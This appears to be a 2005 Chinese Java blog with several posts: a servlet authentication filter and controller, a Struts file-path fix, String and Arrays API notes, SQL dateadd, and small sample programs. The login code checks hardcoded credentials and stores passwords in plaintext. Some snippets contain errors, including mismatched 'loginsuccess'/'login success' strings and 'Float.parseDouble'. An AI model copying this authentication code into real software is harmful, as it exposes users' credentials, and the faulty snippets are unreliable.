在向導中點擊“完成”按鈕后,WSAD立即構造出過濾器的骨架代碼。對于本例來說,接下來我們唯一的任務就是將代碼插入doFilter()方法,如Listing 1所示。
// Listing 1: AuthenticationFilter.java
public void doFilter(
ServletRequest req,
ServletResponse resp,
FilterChain chain)
throws ServletException, IOException {
String nextPage;
RequestDispatcher rd = null;
//檢查用戶名稱和密碼
if (req.getParameter("userid") != null) {
if (!((req.getParameter("password").equals("password"))
&& (req.getParameter("userid").equals("user")))) {
ArrayList actionreport = newArrayList();
actionreport.add("登錄失敗。。。");
(((HttpServletRequest) req).getSession()).setAttribute(
"actionreport", actionreport);
nextPage = "failure.jsp";
System.out.println("獲得了來自過濾器的應答。");
// 將請求直接傳遞給下一個頁面(而不是Controller Servlet)
rd = req.getRequestDispatcher(nextPage);
rd.forward(req, resp);
} else {
req.setAttribute("login", "loginsuccess");
// 將請求傳遞給Controller Servlet
chain.doFilter(req, resp);
System.out.println("獲得了來自過濾器的應答。");
}
} else {
rd = req.getRequestDispatcher("Welcome.jsp");
rd.forward(req, resp);
}
} |
從上面的代碼可以看出,在過濾器中驗證用戶身份的方式仍和平常的一樣。在此過程中,為了獲得session對象,我們把ServletRequest定型(cast)成了HttpServletRequest。如果用戶未能通過身份驗證,我們不再把請求傳遞給Controller Servlet,而是通過RequestDispatcher把請求傳遞給報告頁面(failure.jsp)。
如果用戶通過了身份驗證,則我們調用chain.doFilter(),允許應答進入Controller——這是因為調用chain.doFilter()時,鏈里面已經沒有其他過濾器,所以控制將以POST方式轉入作為Controller的Servlet,實際上,chain.doFilter()將調用Controller.doPost()方法。
發送請求給Controller之前,我們可以根據用戶獲得的身份證書來設置請求的屬性,這些信息將幫助Controller及其輔助類處理請求。作為一個例子,我們設置了請求的login屬性,然后在Controller中檢查該屬性,Controller把應答返回給success.jsp(如Listing 2所示)。
// Listing 2: controller.java
protected final void doPost(
HttpServletRequest request,
HttpServletResponse response) {
// begining codes
//--用戶已通過身份驗證
if (((String) request.getAttribute("login")).equals
("login success")) {
ArrayList actionreport = new ArrayList();
actionreport.add("Correct Password");
session.setAttribute("actionreport", actionreport);
nextPage = "success.jsp";
}
if (dispatch) {
RequestDispatcher rd =
getServletContext().getRequestDispatcher(nextPage);
rd.forward(request, response);
} else {
session.invalidate();
}
// ending codes
} |
posted @
2005-09-12 16:27 my java 閱讀(3099) |
評論 (1) |
編輯 收藏
問題:JavaBean的一個寫文件方法,獨立調試正常。但移到Struts下,通過Action調用時,
拋出異常。
原因:文件路徑問題
解決方法:
1.修改原來JavaBean里帶前綴路徑的文件---"resources/users.properties"
為"users.properties"
2.將struts框架下的源文件users.properties,直接移到src下
3.重新編譯,部署
4.運行這個注冊組件成功后,可以到$服務器主目錄$/bin下,查看這個已經寫過的
users.properties文件
以上問題,曾嘗試將resources/user.properite改為絕對路徑"d:/users.properties",
或改為相對路徑"/resources/properties",或直接向JavaBean中傳入路徑參數path,
path=request.getRealPath("")(或request.getContextPath)等,均沒有調試成功。
故記錄下來,希望其它網友遇到時,不必再做這樣的重復勞動。
附:
1.Action中調用方法:
UserDirectory.getInstance().setUser(userName,password1);
2.JavaBean的縮略代碼:
UserDirectory.java
import java.io.IOException;
import java.io.FileOutputStream;
import java.util.Enumeration;
import java.util.Properties;
public class UserDirectory {
private static final String UserDirectoryFile = "users.properties";
private static final String UserDirectoryHeader = "${user}=${password}";
public static UserDirectory getInstance() throws UserDirectoryException {
if (null == userDirectory) {
userDirectory = new UserDirectory();
}
return userDirectory;
}
public void setUser(String userId, String password) throws
UserDirectoryException {
if ( (null == userId) || (null == password)) {
throw new UserDirectoryException();
}try {
p.put(fixId(userId), password);
p.store(new FileOutputStream(UserDirectoryFile),UserDirectoryHeader);
}catch (IOException e) {
throw new UserDirectoryException();
}
}
}
posted @
2005-09-07 13:39 my java 閱讀(1511) |
評論 (1) |
編輯 收藏
-
char charAt(int index)
returns the character at the specified location.
-
int compareTo(String other)
returns a negative value if the string comes before other in dictionary order, a positive value if the string comes after other in dictionary order, or 0 if the strings are equal.
-
boolean endsWith(String suffix)
returns true if the string ends with suffix.
-
boolean equals(Object other)
returns true if the string equals other.
-
boolean equalsIgnoreCase(String other)
returns true if the string equals other, except for upper/lowercase distinction.
-
int indexOf(String str)
-
int indexOf(String str, int fromIndex)
return the start of the first substring equal to str, starting at index 0 or at fromIndex.
-
int lastIndexOf(String str)
-
int lastIndexOf(String str, int fromIndex)
return the start of the last substring equal to str, starting at the end of the string or at fromIndex.
-
int length()
returns the length of the string.
-
String replace(char oldChar, char newChar)
returns a new string that is obtained by replacing all characters oldChar in the string with newChar.
-
boolean startsWith(String prefix)
returns true if the string begins with prefix.
-
String substring(int beginIndex)
-
String substring(int beginIndex, int endIndex)
return a new string consisting of all characters from beginIndex until the end of the string or until endIndex (exclusive).
-
String toLowerCase()
returns a new string containing all characters in the original string, with uppercase characters converted to lower case.
-
String toUpperCase()
returns a new string containing all characters in the original string, with lowercase characters converted to upper case.
-
String trim()
returns a new string by eliminating all leading and trailing spaces in the original string.
字符串與基本數據類型的轉換間的轉換必須使用JSP中的對象函數
Boolean.getBoolean(String)
Byte.parseByte(String)
Short.parseShort(String)
Integer.parseInt(String)
Long.parseLong(String)
Float.parseDouble(String)
Double.parseDouble(String)
String.valueOF(數據)
Array
static void arraycopy(Object from, int fromIndex, Object to, int toIndex, int count)
Parameters: |
from |
an array of any type (Chapter 5 explains why this is a parameter of type Object) |
|
fromIndex |
the starting index from which to copy elements |
|
to |
an array of the same type as from |
|
toIndex |
the starting index to which to copy elements |
|
count |
the number of elements to copy |
copies elements from the first array to the second array.
-
static void sort(Xxx[] a)
Parameters: |
a |
an array of type int, long, short, char, byte, boolean, float or double |
sorts the array, using a tuned QuickSort algorithm.
-
static int binarySearch(Xxx[] a, Xxx v)
Parameters: |
a |
a sorted array of type int, long, short, char, byte, boolean, float or double |
|
v |
a value of the same type as the elements of a |
uses the BinarySearch algorithm to search for the value v. If it is found, its index is returned. Otherwise, a negative value r is returned; -r - 1 is the spot at which v should be inserted to keep a sorted.
-
static void fill(Xxx[] a, Xxx v)
Parameters: |
a |
an array of type int, long, short, char, byte, boolean, float or double |
|
v |
a value of the same type as the elements of a |
sets all elements of the array to v.
-
static boolean equals(Xxx[] a, Object other)
Parameters: |
a |
an array of type int, long, short, char, byte, boolean, float or double |
|
other |
an object |
returns true if other is an array of the same type, if it has the same length, and if the elements in corresponding indexes match.
eg:
int[] smallPrimes = {2, 3, 5, 7, 11, 13};
int[] luckyNumbers = {1001, 1002, 1003, 1004, 1005, 1006, 1007};
System.arraycopy(smallPrimes, 2, luckyNumbers, 3, 3);
for (int i = 0; i < luckyNumbers.length; i++)
System.out.println(i + ": " + luckyNumbers[i]);
posted @
2005-09-05 13:56 my java 閱讀(335) |
評論 (0) |
編輯 收藏
dateadd()函數
dateadd(datepart,number,date)
例:
dateadd(month,1,getdate())
posted @
2005-09-05 13:50 my java 閱讀(273) |
評論 (0) |
編輯 收藏
1、Message.java
public class Message {
public static void main(String[] args) {
if (args[0].equals("-h"))
System.out.print("Hello,");
else if (args[0].equals("-g"))
System.out.print("Goodbye,");
// print the other command line arguments
for (int i = 1; i < args.length; i++)
System.out.print(" " + args[i]);
System.out.println("!");
}
}
test:
java Message -g cruel world
import java.util.*;
import javax.swing.*;
public class FirstSample {
public static void main(String[] args) {
String input = JOptionPane.showInputDialog
("How many numbers do you need to draw?");
int k = Integer.parseInt(input);
input = JOptionPane.showInputDialog
("What is the highest number you can draw?");
int n = Integer.parseInt(input);
// fill an array with numbers 1 2 3 . . . n
int[] numbers = new int[n];
for (int i = 0; i < numbers.length; i++)
{ numbers[i] = i + 1;
System.out.println(numbers[i]);
}
// draw k numbers and put them into a second array
int[] result = new int[k];
for (int i = 0; i < result.length; i++)
{
// make a random index between 0 and n - 1
int r = (int)(Math.random() * n);
// pick the element at the random location
result[i] = numbers[r];
// move the last element into the random location
numbers[r] = numbers[n - 1];
n--;
}
// print the sorted array
Arrays.sort(result);
System.out.println
("Bet the following combination. It'll make you rich!");
for (int i = 0; i < result.length; i++)
System.out.println(result[i]);
System.exit(0);
}
}
posted @
2005-09-05 10:51 my java 閱讀(213) |
評論 (0) |
編輯 收藏